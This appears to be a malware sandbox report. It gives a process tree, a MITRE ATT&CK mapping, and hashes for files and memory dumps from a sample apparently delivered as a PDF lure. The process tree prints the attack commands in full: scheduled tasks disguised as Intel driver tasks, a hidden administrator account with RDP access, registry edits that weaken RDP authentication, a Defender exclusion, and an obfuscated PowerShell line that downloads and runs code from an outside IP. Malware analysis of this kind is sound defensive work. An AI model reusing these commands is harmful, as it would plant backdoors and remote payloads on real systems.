  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "Intel(R) Ethernet2 Connection 1219-LM" /tr "C:\Windows\System32\sysmon2.bat" /ru "SYSTEM" /sc ONSTART /rl HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4560
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "Intel(R) Ethernet2 Connection 1219-LM"
      4⤵
      PID:1220

C:\Windows\SYSTEM32\cmd.exe
C:\Windows\SYSTEM32\cmd.exe /c "C:\Windows\System32\sysmon2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Windows\system32\schtasks.exe
  schtasks /delete /tn "Intel(R) Ethernet Connection 1219-LM2" /f
  2⤵
  PID:2184
- C:\Windows\system32\schtasks.exe
  schtasks /delete /tn "Intel(R) Ethernet2 Connection 1219-LM2" /f
  2⤵
  PID:940
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Intel(R) Ethernet2 Connection 1219-LM2" /tr "C:\Windows\System32\sysmon.bat" /ru "SYSTEM" /sc MINUTE /mo 5 /rl HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3896
- C:\Windows\system32\schtasks.exe
  schtasks /run /tn "Intel(R) Ethernet2 Connection 1219-LM2"
  2⤵
  PID:2568

C:\Windows\SYSTEM32\cmd.exe
C:\Windows\SYSTEM32\cmd.exe /c "C:\Windows\System32\sysmon.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4416
- C:\Windows\system32\net.exe
  net user _BootUEFI_ /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user _BootUEFI_ /add
    3⤵
    PID:1320
- C:\Windows\system32\net.exe
  net user _BootUEFI_ 123456!!! /active:yes /comment:"A account for booting the computer as uefi mode." /fullname:"_BootUEFI_Hosting_ Host Account"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:708
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user _BootUEFI_ 123456!!! /active:yes /comment:"A account for booting the computer as uefi mode." /fullname:"_BootUEFI_Hosting_ Host Account"
    3⤵
    PID:1196
- C:\Windows\system32\net.exe
  net localgroup Administrators _BootUEFI_ /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3204
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators _BootUEFI_ /add
    3⤵
    PID:1108
- C:\Windows\system32\net.exe
  net localgroup "Remote Desktop Users" /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup "Remote Desktop Users" /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:4556
- C:\Windows\system32\net.exe
  net localgroup "Remote Desktop Users" _BootUEFI_ /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:452
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup "Remote Desktop Users" _BootUEFI_ /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:1872
- C:\Windows\system32\net.exe
  net localgroup "Users" _BootUEFI_ /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup "Users" _BootUEFI_ /delete
    3⤵
    - Indicator Removal: Network Share Connection Removal
    PID:1840
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  PID:3672
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client" /v fClientDisableUDP /t REG_DWORD /d 1 /f
  2⤵
  PID:1868
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v _BootUEFI_ /t REG_DWORD /d 0 /f
  2⤵
  - Hide Artifacts: Hidden Users
  PID:2076
- C:\Windows\system32\reg.exe
  reg add "HKCU\SOFTWARE\Microsoft\Terminal Server Client" /v AuthenticationLevelOverride /t REG_DWORD /d 0 /f
  2⤵
  - Modifies data under HKEY_USERS
  PID:1944
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
  2⤵
  PID:4236
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
  2⤵
  PID:4584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ep bypass -w hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAJABlAG4AdgA6AHcAaQBuAGQAaQByAFwAUwB5AHMAdABlAG0AMwAyACIA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "[string] $a = {(eliasneliaseeliasw-eliasObeliasjeeliasct neeliast.weliasebeliasCleliasient).eliasdeliasoeliaswnleliasoeliasaeliasdSeliastreliasieliasneliasg('eliasheliasteliasteliasp:eliaselias/eliaselias/1elias54.9elias0.6elias2.24elias8/wHk4tMu9XpWA/eliasaelias.eliaspeliaseliasselias1eliaselias')}; $b=$a.replace('elias','');$c=iex $b;iex $c"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Account Manipulation

T1098

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Users

T1564.002

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
e6e18ad7ae5ea4df4cf5f3d5d07c266e

SHA1
4a080bc9493745be31d87dfa5361b8dc66754cd6

SHA256
36ffc8e4478ea4aed011f46b6b626ff365a3b36c9737d629c2df3f80465a1046

SHA512
3fc30a3182f3c1d206e99945e9250a97ff0c3a5de652a55ab4659f843fe018aabfd9555085c20d0149020b99abcd1114df395a0084d5698da09d4ef5d3c07a77

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1616a7b9e287ddc77d1df61d1b64afce

SHA1
cd991d366dfcf29ce19bf7e2adb21567d8431d5e

SHA256
b903f0444ed3fe41a98f57bf40f98c9708bd2f7a210d598cfefd55ffbc5c86a4

SHA512
43f989e05fbdc4585b9c0da5b94e48ddbeb26511e997a86f4860be4280709ea7473d74d13dcf328b3cc5ce685d591308ac7c9c4561a2ffa75a504986aed54816

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Report_Estimiation_SKT_20241112472075939.pdf

Filesize
474KB

MD5
ac71b12197e142df7560b5e943db6d76

SHA1
d5175f5d1a88883739bde929f07a3e3ca364195a

SHA256
3de2bbab33eb3d4b0b6ba03c6951bbccdd4f141916f4ea43f9bb195d67a98a7f

SHA512
de0370a53adfcefbedab09613f0e758195de5348f00d63a287a599a26496e372ade90e9c55624f99bfba7314b56573d2eb4c41b3c2aeda6f57392e40922f2afa

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pn0ytses.eqs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\k1.bat

Filesize
1KB

MD5
5c9f358175096711a267c17e746390b0

SHA1
128cd0e49b74583d33f224362b2381686739fea7

SHA256
33675909e13fd3378b390d5bf3fb31b094a291223bf2735fe79e8751d61f2f04

SHA512
5392fd524121d76e43fad750581871589655ec5bba56d875c85e2a884a3d2fc1c11b818131ebde34e402dd436a47188d074959d6b6c8632ff227a5692f212510

Download Submit
C:\Users\Admin\AppData\Local\Temp\k2.bat

Filesize
358B

MD5
73ee484b95ae517d099384e0b5f2255a

SHA1
4b7c89b03aa4c57267e041b3a8356bdd5490b2aa

SHA256
fb26e69770508af54bb2755f916859f2c912eaae7b8fe83f163f4450b3f34e92

SHA512
d84cb995fcbe214efa1bd9e236dfc3b9530780aa670ad30b5156d62b1659745dd8d6fbe438297aed58517a2fa1bcb987f203c100bb3477cf7efe4f867a8a342d

Download Submit
C:\Users\Admin\AppData\Local\Temp\scheduler-once.bat

Filesize
758B

MD5
fb201872c7fe90f79e250805f0b9f998

SHA1
e79d432eb71986227814e9b3de4a42d1df1aa418

SHA256
75c075cf9d9a7dba88a2ad74df1dd6f92c4033063eac3f66034831a1a049f1ef

SHA512
9927f60456f285b94e8349bc2f1d5c1f145c8ea590fa2d180108bc0f8872b7640ec15cf6837c1458c557b9b9ad325f5787385ab3687d5ff407110c67a57ccff4

Download Submit
C:\Users\Public\documents\id.log

Filesize
78B

MD5
42bb1f617e80bae4253d2b6610704548

SHA1
80042d8188c24a47b0b3c14132b9669d2a22b875

SHA256
bffb2d5bc003ca16d3cf7206373dcf17f091742253e725ca6fdce531115a95c0

SHA512
8ad31a710c8e68ba3c14db3f7389cf1ccb8599d3302cbe579175c8c1c4e14266f79264607a6b1a01177e7339ddc4c4712300ef3370022b0ae0dd40c6904eeb1d

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/1608-101-0x0000021CD8E20000-0x0000021CD8ED5000-memory.dmp

Filesize
724KB

Download
memory/1608-109-0x0000021CD9070000-0x0000021CD907A000-memory.dmp

Filesize
40KB

Download
memory/1608-102-0x0000021CBE7E0000-0x0000021CBE7EA000-memory.dmp

Filesize
40KB

Download
memory/1608-103-0x0000021CD9040000-0x0000021CD905C000-memory.dmp

Filesize
112KB

Download
memory/1608-99-0x0000021CD8E00000-0x0000021CD8E1C000-memory.dmp

Filesize
112KB

Download
memory/1608-105-0x0000021CD9020000-0x0000021CD902A000-memory.dmp

Filesize
40KB

Download
memory/1608-106-0x0000021CD9080000-0x0000021CD909A000-memory.dmp

Filesize
104KB

Download
memory/1608-107-0x0000021CD9030000-0x0000021CD9038000-memory.dmp

Filesize
32KB

Download
memory/1608-108-0x0000021CD9060000-0x0000021CD9066000-memory.dmp

Filesize
24KB

Download
memory/4028-2-0x00007FFA13EF3000-0x00007FFA13EF5000-memory.dmp

Filesize
8KB

Download
memory/4028-104-0x00007FFA13EF0000-0x00007FFA149B1000-memory.dmp

Filesize
10.8MB

Download
memory/4028-84-0x00007FFA13EF3000-0x00007FFA13EF5000-memory.dmp

Filesize
8KB

Download
memory/4028-55-0x000001E17E990000-0x000001E17EB9A000-memory.dmp

Filesize
2.0MB

Download
memory/4028-54-0x000001E17E600000-0x000001E17E776000-memory.dmp

Filesize
1.5MB

Download
memory/4028-139-0x00007FFA13EF0000-0x00007FFA149B1000-memory.dmp

Filesize
10.8MB

Download
memory/4028-14-0x00007FFA13EF0000-0x00007FFA149B1000-memory.dmp

Filesize
10.8MB

Download
memory/4028-13-0x00007FFA13EF0000-0x00007FFA149B1000-memory.dmp

Filesize
10.8MB

Download
memory/4028-3-0x000001E163C50000-0x000001E163C72000-memory.dmp

Filesize
136KB

Download
memory/4488-135-0x00000237BD290000-0x00000237BD345000-memory.dmp

Filesize
724KB

Download